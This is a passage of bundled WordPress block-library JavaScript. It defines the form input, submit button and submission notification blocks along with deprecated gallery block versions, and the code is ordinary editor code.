18095 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
18096 {
18097 label: (0,external_wp_i18n_namespaceObject.__)("Inline label"),
18098 hasValue: () => !!inlineLabel,
18099 onDeselect: () => setAttributes({ inlineLabel: false }),
18100 isShownByDefault: true,
18101 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18102 external_wp_components_namespaceObject.CheckboxControl,
18103 {
18104 __nextHasNoMarginBottom: true,
18105 label: (0,external_wp_i18n_namespaceObject.__)("Inline label"),
18106 checked: inlineLabel,
18107 onChange: (newVal) => {
18108 setAttributes({
18109 inlineLabel: newVal
18110 });
18111 }
18112 }
18113 )
18114 }
18115 ),
18116 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18117 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
18118 {
18119 label: (0,external_wp_i18n_namespaceObject.__)("Required"),
18120 hasValue: () => !!required,
18121 onDeselect: () => setAttributes({ required: false }),
18122 isShownByDefault: true,
18123 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18124 external_wp_components_namespaceObject.CheckboxControl,
18125 {
18126 __nextHasNoMarginBottom: true,
18127 label: (0,external_wp_i18n_namespaceObject.__)("Required"),
18128 checked: required,
18129 onChange: (newVal) => {
18130 setAttributes({
18131 required: newVal
18132 });
18133 }
18134 }
18135 )
18136 }
18137 )
18138 ]
18139 }
18140 ) }),
18141 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18142 external_wp_components_namespaceObject.TextControl,
18143 {
18144 __next40pxDefaultSize: true,
18145 __nextHasNoMarginBottom: true,
18146 autoComplete: "off",
18147 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
18148 value: name,
18149 onChange: (newVal) => {
18150 setAttributes({
18151 name: newVal
18152 });
18153 },
18154 help: (0,external_wp_i18n_namespaceObject.__)(
18155 'Affects the "name" attribute of the input element, and is used as a name for the form submission results.'
18156 )
18157 }
18158 ) })
18159 ] });
18160 const content = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18161 external_wp_blockEditor_namespaceObject.RichText,
18162 {
18163 tagName: "span",
18164 className: "wp-block-form-input__label-content",
18165 value: label,
18166 onChange: (newLabel) => setAttributes({ label: newLabel }),
18167 "aria-label": label ? (0,external_wp_i18n_namespaceObject.__)("Label") : (0,external_wp_i18n_namespaceObject.__)("Empty label"),
18168 "data-empty": !label,
18169 placeholder: (0,external_wp_i18n_namespaceObject.__)("Type the label for this input")
18170 }
18171 );
18172 if ("hidden" === type) {
18173 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
18174 controls,
18175 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18176 "input",
18177 {
18178 type: "hidden",
18179 className: dist_clsx(
18180 className,
18181 "wp-block-form-input__input",
18182 colorProps.className,
18183 borderProps.className
18184 ),
18185 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Value"),
18186 value,
18187 onChange: (event) => setAttributes({ value: event.target.value })
18188 }
18189 )
18190 ] });
18191 }
18192 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
18193 controls,
18194 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
18195 "span",
18196 {
18197 className: dist_clsx("wp-block-form-input__label", {
18198 "is-label-inline": inlineLabel || "checkbox" === type
18199 }),
18200 children: [
18201 !isCheckboxOrRadio && content,
18202 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18203 TagName,
18204 {
18205 type: "textarea" === type ? void 0 : type,
18206 className: dist_clsx(
18207 className,
18208 "wp-block-form-input__input",
18209 colorProps.className,
18210 borderProps.className
18211 ),
18212 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Optional placeholder text"),
18213 placeholder: placeholder ? void 0 : (0,external_wp_i18n_namespaceObject.__)("Optional placeholder\u2026"),
18214 value: placeholder,
18215 onChange: (event) => setAttributes({ placeholder: event.target.value }),
18216 "aria-required": required,
18217 style: {
18218 ...borderProps.style,
18219 ...colorProps.style
18220 }
18221 }
18222 ),
18223 isCheckboxOrRadio && content
18224 ]
18225 }
18226 )
18227 ] });
18228}
18229var form_input_edit_edit_default = InputFieldBlock;
18230
18231
18232;// ./node_modules/@wordpress/block-library/build-module/form-input/block.json
18233const form_input_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"__experimental":true,"name":"core/form-input","title":"Input Field","category":"common","ancestor":["core/form"],"description":"The basic building block for forms.","keywords":["input","form"],"textdomain":"default","icon":"forms","attributes":{"type":{"type":"string","default":"text"},"name":{"type":"string"},"label":{"type":"rich-text","default":"Label","selector":".wp-block-form-input__label-content","source":"rich-text","role":"content"},"inlineLabel":{"type":"boolean","default":false},"required":{"type":"boolean","default":false,"selector":".wp-block-form-input__input","source":"attribute","attribute":"required"},"placeholder":{"type":"string","selector":".wp-block-form-input__input","source":"attribute","attribute":"placeholder","role":"content"},"value":{"type":"string","default":"","selector":"input","source":"attribute","attribute":"value"},"visibilityPermissions":{"type":"string","default":"all"}},"supports":{"anchor":true,"reusable":false,"spacing":{"margin":["top","bottom"]},"__experimentalBorder":{"radius":true,"__experimentalSkipSerialization":true,"__experimentalDefaultControls":{"radius":true}}},"style":["wp-block-form-input"]}');
18234;// ./node_modules/@wordpress/block-library/build-module/form-input/save.js
18235
18236
18237
18238
18239
18240const getNameFromLabel = (content) => {
18241 return remove_accents_default()((0,external_wp_dom_namespaceObject.__unstableStripHTML)(content)).replace(/[^\p{L}\p{N}]+/gu, "-").toLowerCase().replace(/(^-+)|(-+$)/g, "");
18242};
18243function form_input_save_save({ attributes }) {
18244 const { type, name, label, inlineLabel, required, placeholder, value } = attributes;
18245 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
18246 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
18247 const inputStyle = {
18248 ...borderProps.style,
18249 ...colorProps.style
18250 };
18251 const inputClasses = dist_clsx(
18252 "wp-block-form-input__input",
18253 colorProps.className,
18254 borderProps.className
18255 );
18256 const TagName = type === "textarea" ? "textarea" : "input";
18257 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
18258 const isCheckboxOrRadio = type === "checkbox" || type === "radio";
18259 if ("hidden" === type) {
18260 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("input", { type, name, value });
18261 }
18262 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
18263 "label",
18264 {
18265 className: dist_clsx("wp-block-form-input__label", {
18266 "is-label-inline": inlineLabel
18267 }),
18268 children: [
18269 !isCheckboxOrRadio && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "wp-block-form-input__label-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: label }) }),
18270 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18271 TagName,
18272 {
18273 className: inputClasses,
18274 type: "textarea" === type ? void 0 : type,
18275 name: name || getNameFromLabel(label),
18276 required,
18277 "aria-required": required,
18278 placeholder: placeholder || void 0,
18279 style: inputStyle
18280 }
18281 ),
18282 isCheckboxOrRadio && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "wp-block-form-input__label-content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: label }) })
18283 ]
18284 }
18285 ) });
18286}
18287
18288
18289;// ./node_modules/@wordpress/block-library/build-module/form-input/variations.js
18290
18291const form_input_variations_variations = [
18292 {
18293 name: "text",
18294 title: (0,external_wp_i18n_namespaceObject.__)("Text Input"),
18295 icon: "edit-page",
18296 description: (0,external_wp_i18n_namespaceObject.__)("A generic text input."),
18297 attributes: { type: "text" },
18298 isDefault: true,
18299 scope: ["inserter", "transform"],
18300 isActive: (blockAttributes) => !blockAttributes?.type || blockAttributes?.type === "text"
18301 },
18302 {
18303 name: "textarea",
18304 title: (0,external_wp_i18n_namespaceObject.__)("Textarea Input"),
18305 icon: "testimonial",
18306 description: (0,external_wp_i18n_namespaceObject.__)(
18307 "A textarea input to allow entering multiple lines of text."
18308 ),
18309 attributes: { type: "textarea" },
18310 isDefault: true,
18311 scope: ["inserter", "transform"],
18312 isActive: (blockAttributes) => blockAttributes?.type === "textarea"
18313 },
18314 {
18315 name: "checkbox",
18316 title: (0,external_wp_i18n_namespaceObject.__)("Checkbox Input"),
18317 description: (0,external_wp_i18n_namespaceObject.__)("A simple checkbox input."),
18318 icon: "forms",
18319 attributes: { type: "checkbox", inlineLabel: true },
18320 isDefault: true,
18321 scope: ["inserter", "transform"],
18322 isActive: (blockAttributes) => blockAttributes?.type === "checkbox"
18323 },
18324 {
18325 name: "email",
18326 title: (0,external_wp_i18n_namespaceObject.__)("Email Input"),
18327 icon: "email",
18328 description: (0,external_wp_i18n_namespaceObject.__)("Used for email addresses."),
18329 attributes: { type: "email" },
18330 isDefault: true,
18331 scope: ["inserter", "transform"],
18332 isActive: (blockAttributes) => blockAttributes?.type === "email"
18333 },
18334 {
18335 name: "url",
18336 title: (0,external_wp_i18n_namespaceObject.__)("URL Input"),
18337 icon: "admin-site",
18338 description: (0,external_wp_i18n_namespaceObject.__)("Used for URLs."),
18339 attributes: { type: "url" },
18340 isDefault: true,
18341 scope: ["inserter", "transform"],
18342 isActive: (blockAttributes) => blockAttributes?.type === "url"
18343 },
18344 {
18345 name: "tel",
18346 title: (0,external_wp_i18n_namespaceObject.__)("Telephone Input"),
18347 icon: "phone",
18348 description: (0,external_wp_i18n_namespaceObject.__)("Used for phone numbers."),
18349 attributes: { type: "tel" },
18350 isDefault: true,
18351 scope: ["inserter", "transform"],
18352 isActive: (blockAttributes) => blockAttributes?.type === "tel"
18353 },
18354 {
18355 name: "number",
18356 title: (0,external_wp_i18n_namespaceObject.__)("Number Input"),
18357 icon: "edit-page",
18358 description: (0,external_wp_i18n_namespaceObject.__)("A numeric input."),
18359 attributes: { type: "number" },
18360 isDefault: true,
18361 scope: ["inserter", "transform"],
18362 isActive: (blockAttributes) => blockAttributes?.type === "number"
18363 }
18364];
18365var form_input_variations_variations_default = form_input_variations_variations;
18366
18367
18368;// ./node_modules/@wordpress/block-library/build-module/form-input/index.js
18369
18370
18371
18372
18373
18374
18375const { name: form_input_name } = form_input_block_namespaceObject;
18376const form_input_settings = {
18377 deprecated: form_input_deprecated_deprecated_default,
18378 edit: form_input_edit_edit_default,
18379 save: form_input_save_save,
18380 variations: form_input_variations_variations_default,
18381 example: {}
18382};
18383const form_input_init = () => initBlock({ name: form_input_name, metadata: form_input_block_namespaceObject, settings: form_input_settings });
18384
18385
18386;// ./node_modules/@wordpress/block-library/build-module/form-submit-button/edit.js
18387
18388
18389
18390const form_submit_button_edit_TEMPLATE = [
18391 [
18392 "core/buttons",
18393 {},
18394 [
18395 [
18396 "core/button",
18397 {
18398 text: (0,external_wp_i18n_namespaceObject.__)("Submit"),
18399 tagName: "button",
18400 type: "submit"
18401 }
18402 ]
18403 ]
18404 ]
18405];
18406const form_submit_button_edit_Edit = () => {
18407 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
18408 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
18409 template: form_submit_button_edit_TEMPLATE,
18410 templateLock: "all"
18411 });
18412 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-form-submit-wrapper", ...innerBlocksProps });
18413};
18414var form_submit_button_edit_edit_default = form_submit_button_edit_Edit;
18415
18416
18417;// ./node_modules/@wordpress/block-library/build-module/form-submit-button/block.json
18418const form_submit_button_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"__experimental":true,"name":"core/form-submit-button","title":"Form Submit Button","category":"common","icon":"button","ancestor":["core/form"],"allowedBlocks":["core/buttons","core/button"],"description":"A submission button for forms.","keywords":["submit","button","form"],"textdomain":"default","style":["wp-block-form-submit-button"]}');
18419;// ./node_modules/@wordpress/block-library/build-module/form-submit-button/save.js
18420
18421
18422function form_submit_button_save_save() {
18423 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
18424 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-form-submit-wrapper", ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
18425}
18426
18427
18428;// ./node_modules/@wordpress/block-library/build-module/form-submit-button/index.js
18429
18430
18431
18432
18433const { name: form_submit_button_name } = form_submit_button_block_namespaceObject;
18434const form_submit_button_settings = {
18435 edit: form_submit_button_edit_edit_default,
18436 save: form_submit_button_save_save,
18437 example: {}
18438};
18439const form_submit_button_init = () => initBlock({ name: form_submit_button_name, metadata: form_submit_button_block_namespaceObject, settings: form_submit_button_settings });
18440
18441
18442;// ./node_modules/@wordpress/icons/build-module/library/group.js
18443
18444
18445var group_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z" }) });
18446
18447
18448;// ./node_modules/@wordpress/block-library/build-module/form-submission-notification/edit.js
18449
18450
18451
18452
18453
18454const form_submission_notification_edit_TEMPLATE = [
18455 [
18456 "core/paragraph",
18457 {
18458 content: (0,external_wp_i18n_namespaceObject.__)(
18459 "Enter the message you wish displayed for form submission error/success, and select the type of the message (success/error) from the block's options."
18460 )
18461 }
18462 ]
18463];
18464const form_submission_notification_edit_Edit = ({ attributes, clientId }) => {
18465 const { type } = attributes;
18466 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
18467 className: dist_clsx("wp-block-form-submission-notification", {
18468 [`form-notification-type-${type}`]: type
18469 })
18470 });
18471 const { hasInnerBlocks } = (0,external_wp_data_namespaceObject.useSelect)(
18472 (select) => {
18473 const { getBlock } = select(external_wp_blockEditor_namespaceObject.store);
18474 const block = getBlock(clientId);
18475 return {
18476 hasInnerBlocks: !!(block && block.innerBlocks.length)
18477 };
18478 },
18479 [clientId]
18480 );
18481 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
18482 template: form_submission_notification_edit_TEMPLATE,
18483 renderAppender: hasInnerBlocks ? void 0 : external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender
18484 });
18485 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18486 "div",
18487 {
18488 ...innerBlocksProps,
18489 "data-message-success": (0,external_wp_i18n_namespaceObject.__)("Submission success notification"),
18490 "data-message-error": (0,external_wp_i18n_namespaceObject.__)("Submission error notification")
18491 }
18492 );
18493};
18494var form_submission_notification_edit_edit_default = form_submission_notification_edit_Edit;
18495
18496
18497;// ./node_modules/@wordpress/block-library/build-module/form-submission-notification/block.json
18498const form_submission_notification_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"__experimental":true,"name":"core/form-submission-notification","title":"Form Submission Notification","category":"common","ancestor":["core/form"],"description":"Provide a notification message after the form has been submitted.","keywords":["form","feedback","notification","message"],"textdomain":"default","icon":"feedback","attributes":{"type":{"type":"string","default":"success"}}}');
18499;// ./node_modules/@wordpress/block-library/build-module/form-submission-notification/save.js
18500
18501
18502
18503function form_submission_notification_save_save({ attributes }) {
18504 const { type } = attributes;
18505 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18506 "div",
18507 {
18508 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(
18509 external_wp_blockEditor_namespaceObject.useBlockProps.save({
18510 className: dist_clsx("wp-block-form-submission-notification", {
18511 [`form-notification-type-${type}`]: type
18512 })
18513 })
18514 )
18515 }
18516 );
18517}
18518
18519
18520;// ./node_modules/@wordpress/block-library/build-module/form-submission-notification/variations.js
18521
18522const form_submission_notification_variations_variations = [
18523 {
18524 name: "form-submission-success",
18525 title: (0,external_wp_i18n_namespaceObject.__)("Form Submission Success"),
18526 description: (0,external_wp_i18n_namespaceObject.__)("Success message for form submissions."),
18527 attributes: {
18528 type: "success"
18529 },
18530 isDefault: true,
18531 innerBlocks: [
18532 [
18533 "core/paragraph",
18534 {
18535 content: (0,external_wp_i18n_namespaceObject.__)("Your form has been submitted successfully."),
18536 backgroundColor: "#00D084",
18537 textColor: "#000000",
18538 style: {
18539 elements: { link: { color: { text: "#000000" } } }
18540 }
18541 }
18542 ]
18543 ],
18544 scope: ["inserter", "transform"],
18545 isActive: (blockAttributes) => !blockAttributes?.type || blockAttributes?.type === "success"
18546 },
18547 {
18548 name: "form-submission-error",
18549 title: (0,external_wp_i18n_namespaceObject.__)("Form Submission Error"),
18550 description: (0,external_wp_i18n_namespaceObject.__)("Error/failure message for form submissions."),
18551 attributes: {
18552 type: "error"
18553 },
18554 isDefault: false,
18555 innerBlocks: [
18556 [
18557 "core/paragraph",
18558 {
18559 content: (0,external_wp_i18n_namespaceObject.__)("There was an error submitting your form."),
18560 backgroundColor: "#CF2E2E",
18561 textColor: "#FFFFFF",
18562 style: {
18563 elements: { link: { color: { text: "#FFFFFF" } } }
18564 }
18565 }
18566 ]
18567 ],
18568 scope: ["inserter", "transform"],
18569 isActive: (blockAttributes) => !blockAttributes?.type || blockAttributes?.type === "error"
18570 }
18571];
18572var form_submission_notification_variations_variations_default = form_submission_notification_variations_variations;
18573
18574
18575;// ./node_modules/@wordpress/block-library/build-module/form-submission-notification/index.js
18576
18577
18578
18579
18580
18581
18582const { name: form_submission_notification_name } = form_submission_notification_block_namespaceObject;
18583const form_submission_notification_settings = {
18584 icon: group_default,
18585 edit: form_submission_notification_edit_edit_default,
18586 save: form_submission_notification_save_save,
18587 variations: form_submission_notification_variations_variations_default,
18588 example: {}
18589};
18590const form_submission_notification_init = () => initBlock({ name: form_submission_notification_name, metadata: form_submission_notification_block_namespaceObject, settings: form_submission_notification_settings });
18591
18592
18593;// ./node_modules/@wordpress/icons/build-module/library/gallery.js
18594
18595
18596var gallery_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18597 external_wp_primitives_namespaceObject.Path,
18598 {
18599 d: "M16.375 4.5H4.625a.125.125 0 0 0-.125.125v8.254l2.859-1.54a.75.75 0 0 1 .68-.016l2.384 1.142 2.89-2.074a.75.75 0 0 1 .874 0l2.313 1.66V4.625a.125.125 0 0 0-.125-.125Zm.125 9.398-2.75-1.975-2.813 2.02a.75.75 0 0 1-.76.067l-2.444-1.17L4.5 14.583v1.792c0 .069.056.125.125.125h11.75a.125.125 0 0 0 .125-.125v-2.477ZM4.625 3C3.728 3 3 3.728 3 4.625v11.75C3 17.273 3.728 18 4.625 18h11.75c.898 0 1.625-.727 1.625-1.625V4.625C18 3.728 17.273 3 16.375 3H4.625ZM20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z",
18600 fillRule: "evenodd",
18601 clipRule: "evenodd"
18602 }
18603) });
18604
18605
18606;// ./node_modules/@wordpress/block-library/build-module/gallery/constants.js
18607const LINK_DESTINATION_NONE = "none";
18608const LINK_DESTINATION_MEDIA = "media";
18609const LINK_DESTINATION_LIGHTBOX = "lightbox";
18610const LINK_DESTINATION_ATTACHMENT = "attachment";
18611const LINK_DESTINATION_MEDIA_WP_CORE = "file";
18612const LINK_DESTINATION_ATTACHMENT_WP_CORE = "post";
18613const constants_DEFAULT_MEDIA_SIZE_SLUG = "large";
18614
18615
18616;// ./node_modules/@wordpress/block-library/build-module/gallery/deprecated.js
18617
18618
18619
18620
18621
18622const DEPRECATED_LINK_DESTINATION_MEDIA = "file";
18623const DEPRECATED_LINK_DESTINATION_ATTACHMENT = "post";
18624function defaultColumnsNumberV1(attributes) {
18625 return Math.min(3, attributes?.images?.length);
18626}
18627function getHrefAndDestination(image, destination) {
18628 switch (destination) {
18629 case DEPRECATED_LINK_DESTINATION_MEDIA:
18630 return {
18631 href: image?.source_url || image?.url,
18632 // eslint-disable-line camelcase
18633 linkDestination: LINK_DESTINATION_MEDIA
18634 };
18635 case DEPRECATED_LINK_DESTINATION_ATTACHMENT:
18636 return {
18637 href: image?.link,
18638 linkDestination: LINK_DESTINATION_ATTACHMENT
18639 };
18640 case LINK_DESTINATION_MEDIA:
18641 return {
18642 href: image?.source_url || image?.url,
18643 // eslint-disable-line camelcase
18644 linkDestination: LINK_DESTINATION_MEDIA
18645 };
18646 case LINK_DESTINATION_ATTACHMENT:
18647 return {
18648 href: image?.link,
18649 linkDestination: LINK_DESTINATION_ATTACHMENT
18650 };
18651 case LINK_DESTINATION_NONE:
18652 return {
18653 href: void 0,
18654 linkDestination: LINK_DESTINATION_NONE
18655 };
18656 }
18657 return {};
18658}
18659function runV2Migration(attributes) {
18660 let linkTo = attributes.linkTo ? attributes.linkTo : "none";
18661 if (linkTo === "post") {
18662 linkTo = "attachment";
18663 } else if (linkTo === "file") {
18664 linkTo = "media";
18665 }
18666 const imageBlocks = attributes.images.map((image) => {
18667 return getImageBlock(image, attributes.sizeSlug, linkTo);
18668 });
18669 const { images, ids, ...restAttributes } = attributes;
18670 return [
18671 {
18672 ...restAttributes,
18673 linkTo,
18674 allowResize: false
18675 },
18676 imageBlocks
18677 ];
18678}
18679function getImageBlock(image, sizeSlug, linkTo) {
18680 return (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
18681 ...image.id && { id: parseInt(image.id) },
18682 url: image.url,
18683 alt: image.alt,
18684 caption: image.caption,
18685 sizeSlug,
18686 ...getHrefAndDestination(image, linkTo)
18687 });
18688}
18689const deprecated_v7 = {
18690 attributes: {
18691 images: {
18692 type: "array",
18693 default: [],
18694 source: "query",
18695 selector: ".blocks-gallery-item",
18696 query: {
18697 url: {
18698 type: "string",
18699 source: "attribute",
18700 selector: "img",
18701 attribute: "src"
18702 },
18703 fullUrl: {
18704 type: "string",
18705 source: "attribute",
18706 selector: "img",
18707 attribute: "data-full-url"
18708 },
18709 link: {
18710 type: "string",
18711 source: "attribute",
18712 selector: "img",
18713 attribute: "data-link"
18714 },
18715 alt: {
18716 type: "string",
18717 source: "attribute",
18718 selector: "img",
18719 attribute: "alt",
18720 default: ""
18721 },
18722 id: {
18723 type: "string",
18724 source: "attribute",
18725 selector: "img",
18726 attribute: "data-id"
18727 },
18728 caption: {
18729 type: "string",
18730 source: "html",
18731 selector: ".blocks-gallery-item__caption"
18732 }
18733 }
18734 },
18735 ids: {
18736 type: "array",
18737 items: {
18738 type: "number"
18739 },
18740 default: []
18741 },
18742 shortCodeTransforms: {
18743 type: "array",
18744 default: [],
18745 items: {
18746 type: "object"
18747 }
18748 },
18749 columns: {
18750 type: "number",
18751 minimum: 1,
18752 maximum: 8
18753 },
18754 caption: {
18755 type: "string",
18756 source: "html",
18757 selector: ".blocks-gallery-caption"
18758 },
18759 imageCrop: {
18760 type: "boolean",
18761 default: true
18762 },
18763 fixedHeight: {
18764 type: "boolean",
18765 default: true
18766 },
18767 linkTarget: {
18768 type: "string"
18769 },
18770 linkTo: {
18771 type: "string"
18772 },
18773 sizeSlug: {
18774 type: "string",
18775 default: "large"
18776 },
18777 allowResize: {
18778 type: "boolean",
18779 default: false
18780 }
18781 },
18782 save({ attributes }) {
18783 const { caption, columns, imageCrop } = attributes;
18784 const className = dist_clsx("has-nested-images", {
18785 [`columns-${columns}`]: columns !== void 0,
18786 [`columns-default`]: columns === void 0,
18787 "is-cropped": imageCrop
18788 });
18789 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({ className });
18790 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
18791 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...innerBlocksProps, children: [
18792 innerBlocksProps.children,
18793 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18794 external_wp_blockEditor_namespaceObject.RichText.Content,
18795 {
18796 tagName: "figcaption",
18797 className: "blocks-gallery-caption",
18798 value: caption
18799 }
18800 )
18801 ] });
18802 }
18803};
18804const deprecated_v6 = {
18805 attributes: {
18806 images: {
18807 type: "array",
18808 default: [],
18809 source: "query",
18810 selector: ".blocks-gallery-item",
18811 query: {
18812 url: {
18813 type: "string",
18814 source: "attribute",
18815 selector: "img",
18816 attribute: "src"
18817 },
18818 fullUrl: {
18819 type: "string",
18820 source: "attribute",
18821 selector: "img",
18822 attribute: "data-full-url"
18823 },
18824 link: {
18825 type: "string",
18826 source: "attribute",
18827 selector: "img",
18828 attribute: "data-link"
18829 },
18830 alt: {
18831 type: "string",
18832 source: "attribute",
18833 selector: "img",
18834 attribute: "alt",
18835 default: ""
18836 },
18837 id: {
18838 type: "string",
18839 source: "attribute",
18840 selector: "img",
18841 attribute: "data-id"
18842 },
18843 caption: {
18844 type: "string",
18845 source: "html",
18846 selector: ".blocks-gallery-item__caption"
18847 }
18848 }
18849 },
18850 ids: {
18851 type: "array",
18852 items: {
18853 type: "number"
18854 },
18855 default: []
18856 },
18857 columns: {
18858 type: "number",
18859 minimum: 1,
18860 maximum: 8
18861 },
18862 caption: {
18863 type: "string",
18864 source: "html",
18865 selector: ".blocks-gallery-caption"
18866 },
18867 imageCrop: {
18868 type: "boolean",
18869 default: true
18870 },
18871 fixedHeight: {
18872 type: "boolean",
18873 default: true
18874 },
18875 linkTo: {
18876 type: "string"
18877 },
18878 sizeSlug: {
18879 type: "string",
18880 default: "large"
18881 }
18882 },
18883 supports: {
18884 anchor: true,
18885 align: true
18886 },
18887 save({ attributes }) {
18888 const {
18889 images,
18890 columns = defaultColumnsNumberV1(attributes),
18891 imageCrop,
18892 caption,
18893 linkTo
18894 } = attributes;
18895 const className = `columns-${columns} ${imageCrop ? "is-cropped" : ""}`;
18896 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: [
18897 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "blocks-gallery-grid", children: images.map((image) => {
18898 let href;
18899 switch (linkTo) {
18900 case DEPRECATED_LINK_DESTINATION_MEDIA:
18901 href = image.fullUrl || image.url;
18902 break;
18903 case DEPRECATED_LINK_DESTINATION_ATTACHMENT:
18904 href = image.link;
18905 break;
18906 }
18907 const img = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18908 "img",
18909 {
18910 src: image.url,
18911 alt: image.alt,
18912 "data-id": image.id,
18913 "data-full-url": image.fullUrl,
18914 "data-link": image.link,
18915 className: image.id ? `wp-image-${image.id}` : null
18916 }
18917 );
18918 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18919 "li",
18920 {
18921 className: "blocks-gallery-item",
18922 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { children: [
18923 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href, children: img }) : img,
18924 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(image.caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18925 external_wp_blockEditor_namespaceObject.RichText.Content,
18926 {
18927 tagName: "figcaption",
18928 className: "blocks-gallery-item__caption",
18929 value: image.caption
18930 }
18931 )
18932 ] })
18933 },
18934 image.id || image.url
18935 );
18936 }) }),
18937 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18938 external_wp_blockEditor_namespaceObject.RichText.Content,
18939 {
18940 tagName: "figcaption",
18941 className: "blocks-gallery-caption",
18942 value: caption
18943 }
18944 )
18945 ] });
18946 },
